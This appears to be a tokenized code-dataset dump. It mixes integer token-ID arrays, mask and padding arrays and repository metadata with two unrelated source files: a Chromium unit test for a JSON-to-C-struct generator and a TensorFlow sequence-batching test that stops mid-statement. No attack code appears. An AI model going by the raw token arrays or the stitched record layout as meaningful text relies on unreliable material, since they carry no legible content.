[ 22296, 1202, 701, 314, 2381, 3053, 3555, 334, 578, 2717, 680, 199, 3, 961, 13718, 370, 298, 3351, 14, 72, 1674, 199, 3, 799, 11902, 675, 26, 492, 9821, 27, 2263, 9821, 14, 10765, 63, 15694, 2263, 5423, 14, 199, 3, 17669, 323, 675, 26, 687, 9821, 492, 627, 27, 2263, 653, 9623, 63, 15694, 2263, 5423, 14, 199, 199, 63, 86, 1165, 275, 413, 199, 63, 86, 2025, 275, 413, 199, 309, 646, 2717, 199, 309, 893, 26, 199, 309, 420, 485, 86, 1165, 275, 334, 2327, 14, 362, 63, 10090, 632, 365, 440, 488, 9, 199, 309, 2590, 26, 199, 309, 420, 485, 86, 1165, 275, 378, 199, 309, 2264, 2717, 199, 199, 8084, 275, 378, 199, 19823, 275, 378, 199, 15064, 275, 413, 199, 199, 8193, 275, 446, 17, 199, 199, 13837, 63, 4305, 275, 5049, 199, 692, 485, 86, 1165, 26, 272, 26389, 24678, 63, 4305, 275, 4337, 199, 23068, 63, 28170, 275, 378, 199, 23068, 63, 4305, 275, 413, 199, 23068, 63, 1179, 11401, 275, 499, 199, 23068, 63, 25571, 275, 650, 199, 23068, 63, 17611, 275, 841, 199, 23068, 63, 15717, 275, 959, 199, 3143, 63, 23068, 63, 14742, 25070, 275, 1227, 199, 27087, 63, 7321, 275, 378, 199, 27087, 63, 10774, 7474, 619, 948, 275, 413, 199, 27087, 63, 25571, 275, 499, 199, 15947, 63, 7823, 275, 11630, 199, 3902, 63, 7823, 275, 499, 993, 199, 15255, 63, 11422, 275, 378, 199, 15255, 63, 27838, 275, 413, 199, 15255, 63, 9894, 275, 499, 199, 15255, 63, 12811, 275, 650, 199, 15255, 63, 17611, 275, 841, 199, 2826, 63, 15694, 275, 378, 199, 2160, 63, 15694, 275, 413, 199, 8819, 63, 15694, 275, 499, 199, 3143, 619, 63, 15694, 275, 650, 199, 30083, 63, 15694, 275, 841, 199, 3234, 1554, 19716, 63, 15694, 275, 959, 199, 12683, 63, 15694, 275, 1227, 199, 1092, 1734, 8280, 63, 15694, 275, 1520, 199, 50, 3143, 619, 63, 15694, 275, 1695, 199, 50, 3234, 1554, 19716, 63, 15694, 275, 1749, 199, 11422, 63, 17882, 63, 3978, 275, 8026, 199, 9894, 63, 17882, 63, 3978, 275, 12766, 199, 11372, 63, 17882, 63, 3978, 275, 6335, 199, 12811, 63, 17882, 63, 3978, 275, 8685, 199, 3978, 17, 275, 10954, 199, 45, 3978, 275, 12260, 199, 44, 3978, 275, 378, 199, 17882, 63, 11139, 275, 650, 14, 16, 199, 12118, 275, 378, 199, 21378, 275, 413, 199, 19736, 275, 499, 199, 12533, 275, 650, 199, 906, 26907, 275, 841, 199, 25571, 275, 959, 199, 3230, 35, 1668, 275, 1227, 199, 1734, 3230, 35, 1668, 275, 1520, 199, 3078, 23368, 275, 1695, 199, 17988, 275, 1749, 199, 16207, 275, 1616, 199, 18398, 63, 2339, 275, 283, 40, 25911, 7, 199, 18398, 63, 30144, 2339, 275, 283, 40, 25911, 13, 26395, 7, 199, 18398, 63, 649, 748, 948, 2339, 275, 283, 40, 25911, 13, 11394, 317, 544, 7, 199, 18398, 63, 23837, 2339, 275, 283, 35, 567, 4446, 7, 199, 18398, 63, 15903, 2339, 275, 283, 8954, 7, 199, 28570, 63, 18398, 275, 1695, 14, 16, 199, 10765, 63, 18398, 275, 4119, 14, 16, 199, 15806, 63, 18398, 275, 3388, 14, 16, 199, 10765, 63, 18466, 275, 378, 199, 30144, 63, 18466, 275, 413, 199, 649, 748, 948, 63, 18466, 275, 499, 199, 23837, 63, 18466, 275, 650, 199, 742, 18583, 14112, 63, 18466, 275, 841, 199, 15903, 63, 18466, 275, 959, 199, 30189, 275, 650, 199, 10765, 63, 30189, 275, 378, 199, 30189, 63, 15694, 2711, 275, 4825, 63, 15694, 199, 30189, 63, 3978, 17, 275, 378, 199, 30189, 63, 3978, 18, 275, 13513, 17, 199, 30189, 63, 44, 3978, 275, 491, 3978, 199, 30189, 63, 15255, 275, 12112, 3203, 63, 27838, 199, 30189, 63, 4283, 4305, 275, 7960, 10, 3933, 199, 30189, 63, 18344, 275, 4367, 6131, 63, 11139, 199, 15694, 275, 413, 199, 15694, 63, 15694, 2711, 275, 7215, 63, 15694, 199, 15694, 63, 3978, 17, 275, 13513, 17, 199, 15694, 63, 44, 3978, 275, 491, 3978, 199, 15694, 63, 15255, 275, 12112, 3203, 63, 17611, 199, 15694, 63, 18344, 275, 4367, 6131, 63, 11139, 199, 31956, 3279, 275, 17245, 199, 10765, 63, 31956, 3279, 275, 378, 199, 4859, 63, 31956, 3279, 275, 413, 199, 40, 5104, 63, 31956, 3279, 275, 499, 199, 21389, 63, 31956, 3279, 275, 650, 199, 31956, 3279, 63, 15694, 2711, 275, 10163, 63, 15694, 199, 31956, 3279, 63, 3978, 17, 275, 13513, 17, 199, 31956, 3279, 63, 3978, 18, 275, 650, 199, 31956, 3279, 63, 44, 3978, 275, 491, 3978, 199, 31956, 3279, 63, 15255, 275, 12112, 3203, 63, 27838, 199, 31956, 3279, 63, 4929, 3978, 275, 13513, 17, 199, 31956, 3279, 63, 18344, 275, 4367, 6131, 63, 11139, 199, 31956, 3279, 63, 6143, 2901, 32106, 275, 7960, 199, 31956, 3279, 63, 4283, 6174, 275, 10574, 199, 13272, 275, 4119, 199, 10765, 63, 13272, 275, 378, 199, 21378, 63, 13272, 275, 413, 199, 19662, 2090, 63, 13272, 275, 499, 199, 40, 22436, 63, 13272, 275, 650, 199, 2566, 53, 1244, 63, 13272, 275, 841, 199, 568, 1877, 63, 13272, 275, 959, 199, 9677, 63, 13272, 275, 1227, 199, 692, 485, 86, 1165, 26, 272, 869, 22436, 63, 7341, 63, 13272, 275, 1520, 199, 13272, 63, 15694, 2711, 275, 7215, 63, 15694, 199, 13272, 63, 3978, 17, 275, 13513, 17, 199, 13272, 63, 3978, 18, 275, 13513, 17, 199, 13272, 63, 44, 3978, 275, 491, 3978, 199, 13272, 63, 15255, 275, 12112, 3203, 63, 17611, 199, 13272, 63, 45, 3978, 17, 275, 603, 3978, 199, 13272, 63, 45, 3978, 18, 275, 603, 3978, 199, 13272, 63, 18344, 275, 4367, 6131, 63, 11139, 199, 692, 485, 86, 1165, 26, 272, 6624, 2294, 275, 841, 272, 25357, 63, 32110, 275, 378, 272, 869, 726, 13895, 63, 32110, 275, 413, 272, 13587, 63, 32110, 275, 499, 272, 16444, 5290, 63, 32110, 275, 650, 272, 428, 2252, 2430, 63, 32110, 275, 841, 272, 510, 4332, 63, 32110, 275, 959, 272, 8820, 2252, 37, 63, 32110, 275, 1227, 272, 6624, 2294, 63, 15694, 2711, 275, 699, 12125, 63, 15694, 272, 6624, 2294, 63, 3978, 17, 275, 13513, 17, 272, 6624, 2294, 63, 44, 3978, 275, 491, 3978, 272, 6624, 2294, 63, 15255, 275, 12112, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,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, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
sencha/chromium-spacewalk
tools/json_to_struct/struct_generator_test.py
129
1924
#!/usr/bin/env python # Copyright (c) 2012 The Chromium Authors. All rights reserved. # Use of this source code is governed by a BSD-style license that can be # found in the LICENSE file. from struct_generator import GenerateField from struct_generator import GenerateStruct import unittest class StructGeneratorTest(unittest.TestCase): def testGenerateIntField(self): self.assertEquals('const int foo_bar', GenerateField({'type': 'int', 'field': 'foo_bar'})) def testGenerateStringField(self): self.assertEquals('const char* const bar_foo', GenerateField({'type': 'string', 'field': 'bar_foo'})) def testGenerateString16Field(self): self.assertEquals('const wchar_t* const foo_bar', GenerateField({'type': 'string16', 'field': 'foo_bar'})) def testGenerateEnumField(self): self.assertEquals('const MyEnumType foo_foo', GenerateField({'type': 'enum', 'field': 'foo_foo', 'ctype': 'MyEnumType'})) def testGenerateArrayField(self): self.assertEquals('const int * bar_bar;\n' ' const size_t bar_bar_size', GenerateField({'type': 'array', 'field': 'bar_bar', 'contents': {'type': 'int'}})) def testGenerateStruct(self): schema = [ {'type': 'int', 'field': 'foo_bar'}, {'type': 'string', 'field': 'bar_foo', 'default': 'dummy'}, { 'type': 'array', 'field': 'bar_bar', 'contents': { 'type': 'enum', 'ctype': 'MyEnumType' } } ] struct = ('struct MyTypeName {\n' ' const int foo_bar;\n' ' const char* const bar_foo;\n' ' const MyEnumType * bar_bar;\n' ' const size_t bar_bar_size;\n' '};\n') self.assertEquals(struct, GenerateStruct('MyTypeName', schema)) if __name__ == '__main__': unittest.main()
bsd-3-clause
[ 3381, 2647, 15, 1393, 15, 1813, 2366, 199, 3, 1898, 334, 67, 9, 6029, 710, 12051, 6642, 14, 2900, 4481, 4644, 14, 199, 3, 3645, 402, 642, 1350, 1233, 365, 10413, 701, 282, 6289, 13, 2487, 4190, 626, 883, 506, 199, 3, 1911, 315, 314, 5113, 570, 14, 199, 199, 504, 2702, 63, 4679, 492, 7958, 792, 199, 504, 2702, 63, 4679, 492, 7958, 4836, 199, 646, 2882, 199, 199, 533, 13039, 7599, 774, 8, 2796, 14, 1746, 304, 523, 347, 511, 6864, 3241, 792, 8, 277, 304, 272, 291, 14, 2947, 360, 1297, 1109, 3925, 63, 1700, 297, 267, 7958, 792, 3252, 466, 356, 283, 442, 297, 283, 698, 356, 283, 1421, 63, 1700, 20219, 819, 347, 511, 6864, 14912, 8, 277, 304, 272, 291, 14, 2947, 360, 1297, 1495, 10, 950, 4681, 63, 1421, 297, 267, 7958, 792, 3252, 466, 356, 283, 875, 297, 283, 698, 356, 283, 1700, 63, 1421, 20219, 819, 347, 511, 6864, 1558, 975, 792, 8, 277, 304, 272, 291, 14, 2947, 360, 1297, 336, 1560, 63, 84, 10, 950, 3925, 63, 1700, 297, 267, 7958, 792, 3252, 466, 356, 283, 875, 975, 297, 283, 698, 356, 283, 1421, 63, 1700, 20219, 819, 347, 511, 6864, 5081, 792, 8, 277, 304, 272, 291, 14, 2947, 360, 1297, 4932, 5081, 804, 3925, 63, 1421, 297, 267, 7958, 792, 3252, 466, 356, 283, 4869, 297, 2432, 283, 698, 356, 283, 1421, 63, 1421, 297, 2432, 283, 3667, 356, 283, 5713, 5081, 804, 20219, 819, 347, 511, 6864, 3836, 792, 8, 277, 304, 272, 291, 14, 2947, 360, 1297, 1109, 627, 4681, 63, 1700, 3779, 78, 7, 1993, 283, 221, 950, 1568, 63, 84, 4681, 63, 1700, 63, 890, 297, 267, 7958, 792, 3252, 466, 356, 283, 1144, 297, 2432, 283, 698, 356, 283, 1700, 63, 1700, 297, 2432, 283, 4407, 356, 791, 466, 356, 283, 442, 936, 12466, 819, 347, 511, 6864, 4836, 8, 277, 304, 272, 4177, 275, 359, 489, 791, 466, 356, 283, 442, 297, 283, 698, 356, 283, 1421, 63, 1700, 2267, 489, 791, 466, 356, 283, 875, 297, 283, 698, 356, 283, 1700, 63, 1421, 297, 283, 885, 356, 283, 5869, 2267, 489, 469, 267, 283, 466, 356, 283, 1144, 297, 267, 283, 698, 356, 283, 1700, 63, 1700, 297, 267, 283, 4407, 356, 469, 881, 283, 466, 356, 283, 4869, 297, 881, 283, 3667, 356, 283, 5713, 5081, 804, 7, 267, 789, 489, 789, 272, 1622, 272, 2702, 275, 661, 1820, 4932, 23059, 9459, 78, 7, 267, 283, 221, 950, 1109, 3925, 63, 1700, 3779, 78, 7, 267, 283, 221, 950, 1495, 10, 950, 4681, 63, 1421, 3779, 78, 7, 267, 283, 221, 950, 4932, 5081, 804, 627, 4681, 63, 1700, 3779, 78, 7, 267, 283, 221, 950, 1568, 63, 84, 4681, 63, 1700, 63, 890, 3779, 78, 7, 267, 283, 16055, 78, 358, 272, 291, 14, 2947, 8, 1820, 12, 7958, 4836, 360, 5713, 23059, 297, 4177, 430, 199, 199, 692, 636, 354, 363, 508, 2560, 973, 3706, 523, 2882, 14, 973, 342, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768 ]
[ 2647, 15, 1393, 15, 1813, 2366, 199, 3, 1898, 334, 67, 9, 6029, 710, 12051, 6642, 14, 2900, 4481, 4644, 14, 199, 3, 3645, 402, 642, 1350, 1233, 365, 10413, 701, 282, 6289, 13, 2487, 4190, 626, 883, 506, 199, 3, 1911, 315, 314, 5113, 570, 14, 199, 199, 504, 2702, 63, 4679, 492, 7958, 792, 199, 504, 2702, 63, 4679, 492, 7958, 4836, 199, 646, 2882, 199, 199, 533, 13039, 7599, 774, 8, 2796, 14, 1746, 304, 523, 347, 511, 6864, 3241, 792, 8, 277, 304, 272, 291, 14, 2947, 360, 1297, 1109, 3925, 63, 1700, 297, 267, 7958, 792, 3252, 466, 356, 283, 442, 297, 283, 698, 356, 283, 1421, 63, 1700, 20219, 819, 347, 511, 6864, 14912, 8, 277, 304, 272, 291, 14, 2947, 360, 1297, 1495, 10, 950, 4681, 63, 1421, 297, 267, 7958, 792, 3252, 466, 356, 283, 875, 297, 283, 698, 356, 283, 1700, 63, 1421, 20219, 819, 347, 511, 6864, 1558, 975, 792, 8, 277, 304, 272, 291, 14, 2947, 360, 1297, 336, 1560, 63, 84, 10, 950, 3925, 63, 1700, 297, 267, 7958, 792, 3252, 466, 356, 283, 875, 975, 297, 283, 698, 356, 283, 1421, 63, 1700, 20219, 819, 347, 511, 6864, 5081, 792, 8, 277, 304, 272, 291, 14, 2947, 360, 1297, 4932, 5081, 804, 3925, 63, 1421, 297, 267, 7958, 792, 3252, 466, 356, 283, 4869, 297, 2432, 283, 698, 356, 283, 1421, 63, 1421, 297, 2432, 283, 3667, 356, 283, 5713, 5081, 804, 20219, 819, 347, 511, 6864, 3836, 792, 8, 277, 304, 272, 291, 14, 2947, 360, 1297, 1109, 627, 4681, 63, 1700, 3779, 78, 7, 1993, 283, 221, 950, 1568, 63, 84, 4681, 63, 1700, 63, 890, 297, 267, 7958, 792, 3252, 466, 356, 283, 1144, 297, 2432, 283, 698, 356, 283, 1700, 63, 1700, 297, 2432, 283, 4407, 356, 791, 466, 356, 283, 442, 936, 12466, 819, 347, 511, 6864, 4836, 8, 277, 304, 272, 4177, 275, 359, 489, 791, 466, 356, 283, 442, 297, 283, 698, 356, 283, 1421, 63, 1700, 2267, 489, 791, 466, 356, 283, 875, 297, 283, 698, 356, 283, 1700, 63, 1421, 297, 283, 885, 356, 283, 5869, 2267, 489, 469, 267, 283, 466, 356, 283, 1144, 297, 267, 283, 698, 356, 283, 1700, 63, 1700, 297, 267, 283, 4407, 356, 469, 881, 283, 466, 356, 283, 4869, 297, 881, 283, 3667, 356, 283, 5713, 5081, 804, 7, 267, 789, 489, 789, 272, 1622, 272, 2702, 275, 661, 1820, 4932, 23059, 9459, 78, 7, 267, 283, 221, 950, 1109, 3925, 63, 1700, 3779, 78, 7, 267, 283, 221, 950, 1495, 10, 950, 4681, 63, 1421, 3779, 78, 7, 267, 283, 221, 950, 4932, 5081, 804, 627, 4681, 63, 1700, 3779, 78, 7, 267, 283, 221, 950, 1568, 63, 84, 4681, 63, 1700, 63, 890, 3779, 78, 7, 267, 283, 16055, 78, 358, 272, 291, 14, 2947, 8, 1820, 12, 7958, 4836, 360, 5713, 23059, 297, 4177, 430, 199, 199, 692, 636, 354, 363, 508, 2560, 973, 3706, 523, 2882, 14, 973, 342, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 0 ]
[ 1, 1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ries/tensorflow
tensorflow/contrib/training/python/training/batch_sequences_with_states_test.py
12
11913
# Copyright 2016 The TensorFlow Authors. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # ============================================================================== """Tests for tf.batch_sequences_with_states.""" from __future__ import absolute_import from __future__ import division from __future__ import print_function import os import numpy as np import tensorflow as tf from tensorflow.contrib.training.python.training import sequence_queueing_state_saver as sqss class BatchSequencesWithStatesTest(tf.test.TestCase): def setUp(self): super(BatchSequencesWithStatesTest, self).setUp() self.value_length = 4 self.batch_size = 2 self.key = tf.string_join(["key_", tf.as_string(tf.cast( 10000 * tf.random_uniform(()), tf.int32))]) self.sequences = {"seq1": np.random.rand(self.value_length, 5), "seq2": np.random.rand(self.value_length, 4, 2)} self.context = {"context1": [3, 4]} self.initial_states = {"state1": np.random.rand(6, 7), "state2": np.random.rand(8)} def _prefix(self, key_value): return set( [s.decode("ascii").split(":")[0].encode("ascii") for s in key_value]) def _testBasics(self, num_unroll, length, pad, expected_seq1_batch1, expected_seq2_batch1, expected_seq1_batch2, expected_seq2_batch2): with self.test_session() as sess: next_batch = tf.contrib.training.batch_sequences_with_states( input_key=self.key, input_sequences=self.sequences, input_context=self.context, input_length=length, initial_states=self.initial_states, num_unroll=num_unroll, batch_size=self.batch_size, num_threads=3, # to enforce that we only move on to the next examples after finishing # all segments of the first ones. capacity=2, pad=pad) state1 = next_batch.state("state1") state2 = next_batch.state("state2") state1_update = next_batch.save_state("state1", state1 + 1) state2_update = next_batch.save_state("state2", state2 - 1) # Make sure queue runner with SQSS is added properly to meta graph def. # Saver requires at least one variable. v0 = tf.Variable(10.0, name="v0") tf.add_to_collection("variable_collection", v0) tf.global_variables_initializer() save = tf.train.Saver([v0]) test_dir = os.path.join(tf.test.get_temp_dir(), "sqss_test") filename = os.path.join(test_dir, "metafile") meta_graph_def = save.export_meta_graph(filename) qr_saved = meta_graph_def.collection_def[tf.GraphKeys.QUEUE_RUNNERS] self.assertTrue(qr_saved.bytes_list.value is not None) coord = tf.train.Coordinator() threads = tf.train.start_queue_runners(coord=coord) # Step 1 (key_value, next_key_value, seq1_value, seq2_value, context1_value, state1_value, state2_value, length_value, _, _) = sess.run( (next_batch.key, next_batch.next_key, next_batch.sequences["seq1"], next_batch.sequences["seq2"], next_batch.context["context1"], state1, state2, next_batch.length, state1_update, state2_update)) expected_first_keys = set([b"00000_of_00002"]) expected_second_keys = set([b"00001_of_00002"]) expected_final_keys = set([b"STOP"]) self.assertEqual(expected_first_keys, self._prefix(key_value)) self.assertEqual(expected_second_keys, self._prefix(next_key_value)) self.assertAllEqual( np.tile(self.context["context1"], (self.batch_size, 1)), context1_value) self.assertAllEqual(expected_seq1_batch1, seq1_value) self.assertAllEqual(expected_seq2_batch1, seq2_value) self.assertAllEqual( np.tile(self.initial_states["state1"], (self.batch_size, 1, 1)), state1_value) self.assertAllEqual( np.tile(self.initial_states["state2"], (self.batch_size, 1)), state2_value) self.assertAllEqual(length_value, [num_unroll, num_unroll]) # Step 2 (key_value, next_key_value, seq1_value, seq2_value, context1_value, state1_value, state2_value, length_value, _, _) = sess.run( (next_batch.key, next_batch.next_key, next_batch.sequences["seq1"], next_batch.sequences["seq2"], next_batch.context["context1"], next_batch.state("state1"), next_batch.state("state2"), next_batch.length, state1_update, state2_update)) self.assertEqual(expected_second_keys, self._prefix(key_value)) self.assertEqual(expected_final_keys, self._prefix(next_key_value)) self.assertAllEqual( np.tile(self.context["context1"], (self.batch_size, 1)), context1_value) self.assertAllEqual(expected_seq1_batch2, seq1_value) self.assertAllEqual(expected_seq2_batch2, seq2_value) self.assertAllEqual( 1 + np.tile(self.initial_states["state1"], (self.batch_size, 1, 1)), state1_value) self.assertAllEqual( -1 + np.tile(self.initial_states["state2"], (self.batch_size, 1)), state2_value) self.assertAllEqual([1, 1], length_value) coord.request_stop() coord.join(threads, stop_grace_period_secs=2) def testBasicPadding(self): num_unroll = 2 # Divisor of value_length - so no padding necessary. expected_seq1_batch1 = np.tile( 